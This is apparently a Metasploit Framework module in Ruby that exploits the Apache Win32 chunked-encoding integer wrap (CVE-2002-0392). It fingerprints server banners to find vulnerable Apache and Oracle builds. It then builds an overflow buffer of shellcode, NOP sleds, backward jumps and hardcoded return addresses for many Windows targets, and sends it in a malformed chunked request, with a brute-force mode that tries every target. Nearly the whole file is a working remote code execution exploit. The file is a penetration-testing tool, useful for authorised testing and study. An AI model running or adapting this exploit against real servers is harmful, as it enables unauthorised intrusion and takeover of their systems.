##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Apache Win32 Chunked Encoding',
      'Description'    => %q{
        This module exploits the chunked transfer integer wrap
        vulnerability in Apache version 1.2.x to 1.3.24. This
        particular module has been tested with all versions of the
        official Win32 build between 1.3.9 and 1.3.24. Additionally,
        it should work against most co-branded and bundled versions
        of Apache (Oracle 8i, 9i, IBM HTTPD, etc).

        You will need to use the Check() functionality to determine
        the exact target version prior to launching the exploit. The
        version of Apache bundled with Oracle 8.1.7 will not
        automatically restart, so if you use the wrong target value,
        the server will crash.
      },
      'Author'         => 'hdm',
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2002-0392' ],
          [ 'OSVDB', '838'],
          [ 'BID', '5033' ],
          [ 'URL', 'http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html'],

        ],
      'Privileged'     => true,
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 987,
          'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
          'MinNops'  => 200,
          'Prepend'  => "\x81\xc4\xff\xef\xff\xff\x44",

        },
      'Targets'        => 
        [
          [  'Windows Generic Bruteforce', {} ],

          # Official Apache.org win32 builds
          [  'Apache.org Build 1.3.9->1.3.19', 
            {
              'Ret' => 0x00401151, 
              'Pad' => [6,2,0,4,1,3,5,7]
            }
          ],
          [  'Apache.org Build 1.3.22->1.3.24', 
            {
              'Ret' => 0x00401141, 
              'Pad' => [2,6,0,4,1,3,5,7]
            }
          ],
          [  'Apache.org Build 1.3.19->1.3.24', 
            {
              'Ret' => 0x6ff6548d,
              'Pad' => [2,6,0,4,1,3,5,7]
            }
          ],
          [  'Apache.org Build 1.3.22',
            {
              'Ret' => 0x6ff762ac,
              'Pad' => [2,6,0,4,1,3,5,7]
            }
          ],

          # Return to Win9xConHook.dll via call ebx
          [  'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',
            {
              'Ret' => 0x1c0f13e5,
              'Pad' => [2,6,0,4,1,3,5,7]
            }
          ],

          # Return to Win9xConHook.dll via call esi
          [  'Apache.org Build 1.3.17->1.3.24 (Windows NT)',
            {
              'Ret' => 0x1c0f1033,
              'Pad' => [2,6,0,4,1,3,5,7]
            }
          ],

          # Interesting return to PEB trick for Windows 2003 systems...
          [  'Windows 2003 English SP0',
            {
              'Ret' => 0x7ffc0638,
              'Pad' => [2,6,5,4,1,3,0,7]
            }
          ],

          # Pop/Pop/Return on Windows 2000 
          [  'Windows 2000 English',
            {
              'Ret' => 0x75022ac4,
              'Pad' => [2,6,5,4,1,3,0,7]
            }
          ],

          # Oracle HTTPD: [ 8.1.7 ] (one shot)
          # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
          # OpenSSL/0.9.5a mod_perl/1.24
          [  'Oracle 8.1.7 Apache 1.3.12',
            {
              'Ret' => 0x1d84d42c,
              'Pad' => [7]
            }
          ],

          # Oracle HTTPD: [ 9.1.0 ] (multiple shots)
          # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
          # OpenSSL/0.9.5a mod_perl/1.24
          [  'Oracle 9.1.0 Apache 1.3.12',
            {
              'Ret' => 0x10016061,
              'Pad' => [5,6,0,4,1,3,2,7]
            }
          ],

          # Oracle HTTPD: [ 9.2.0 ] (multiple shots)
          # Oracle HTTP Server Powered by Apache/1.3.22 (Win32)
          # mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b
          # mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25
          [  'Oracle 9.2.0 Apache 1.3.22',
            {
              'Ret' => 0x6ff6427a,
              'Pad' => [5,6,0,4,1,3,2,7]
            }
          ],

          # Generic debugging targets
          [  'Debugging Target',
            {
              'Ret' => 0xcafebabe,
              'Pad' => [0,1,2,3,4,5,6,7]
            }
          ]
        ],
      'DisclosureDate' => 'Jun 19 2002',
      'DefaultTarget'  => 0))
  end

  def check
    response = send_request_raw({'uri' => '/'}, 5)

    if response.nil?
      print_status("No response to request")
      return Exploit::CheckCode::Safe 
    end

    code = Exploit::CheckCode::Appears

    case response['Server']
      when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
        print_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")
      when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
        print_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")
      when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
        print_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")
      when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
        print_status("IBM backported the patch, this system is not vulnerable")
        code = Exploit::CheckCode::Safe
      when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/
      else
        code = Exploit::CheckCode::Safe
    end

    if code == Exploit::CheckCode::Appears
      print_status("Vulnerable server: #{response['Server']}")
    else
      print_status("Server is probably not vulnerable: #{response['Server']}")
    end

    return code
  end

  def exploit
    if target_index == 0
      targets.each_with_index { |targ, idx|
        next if idx == 0

        exploit_target(targ)
      }
    else
      exploit_target(target)
    end
  end

  def exploit_target(target)
    target['Pad'].each { |pad|
      pattern = 
        rand_text_alphanumeric(3936) + 
        payload.encoded + 
        make_nops(6) + "\xe9" + [-900].pack('V') + "pP" +
        rand_text_alphanumeric(pad)

      # Move slightly further back to allow padding changes
      pattern +=
        "\xeb\xf0\xde\xad" +
        [target.ret].pack('V')

      # Create a chain of return addresses and reverse jumps
      254.times { |x|
        pattern +=
          "\xeb\xf6\xbe\xef" +
          [target.ret].pack('V')
      }

      # Even out the request length based on the padding value
      # This is required to reliably hit the return address offset
      pattern += rand_text_alphanumeric(8 - pad)

      #
      # Regardless of what return we hit, execution jumps backwards to the shellcode:
      #                                   _______________ _______________ ___________
      #       _________    _____________  | ________    | | ______      | | ______
      #       v       |    v           |  v v      |    | v v    |      | v v    |
       # [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]
      #
    
      print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]")

      # Build the request
      send_request_raw({
        'uri'     => '/',
        'headers' => 
          {
            'Transfer-Encoding' => "CHUNKED"
          },
        'data'    => "FFFFFFF0 " + pattern,
      }, 2)

      # Check the handler
      handler
    }
  end

end